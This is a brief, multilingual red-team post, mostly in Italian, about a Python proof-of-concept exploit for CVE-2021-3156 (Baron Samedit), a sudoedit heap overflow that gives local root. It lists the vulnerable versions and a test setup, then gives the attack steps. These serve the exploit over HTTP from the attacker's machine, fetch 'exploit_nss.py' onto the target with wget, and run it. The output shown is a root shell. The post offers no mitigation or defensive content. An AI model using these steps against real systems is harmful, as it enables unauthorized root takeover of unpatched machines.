
Proof-of-concept di exploit in Python per CVE-2021-3156 (Baron Samedit), un heap overflow in sudoedit che consente l'escalation dei privilegi locali a root su build di sudo vulnerabili.
📅 Дата: 2025-06-08
✍️ Автор: @TopskiyPavelQwertyGang
🧠 Chercheur en sécurité | Passionné de Red Team
sudoedit (sudo)L'heap-overflow in sudoedit consente a un utente locale di ottenere l'accesso root
quando esegue il comando sudoedit con parametri appositamente preparati.
Lo sfruttamento è attivo per le versioni di sudo < 1.9.5p2, incluse le immagini popolari Ubuntu/Debian/CentOS.
Anche con ASLR abilitato la vulnerabilità rimane sfruttabile.
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (vulnerabile)
ASLR : 2 (abilitato)
glibc e sudo:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
Lo sfruttamento di CVE-2021-3156 rimane possibile anche con ASLR attivo, se glibc ≥ 2.26 e sudo è di una versione vulnerabile.
L'exploit più stabile si è rivelato exploit_nss.py, che funziona al primo tentativo con una corretta configurazione di NSS.
🧨 Sistema sotto controllo.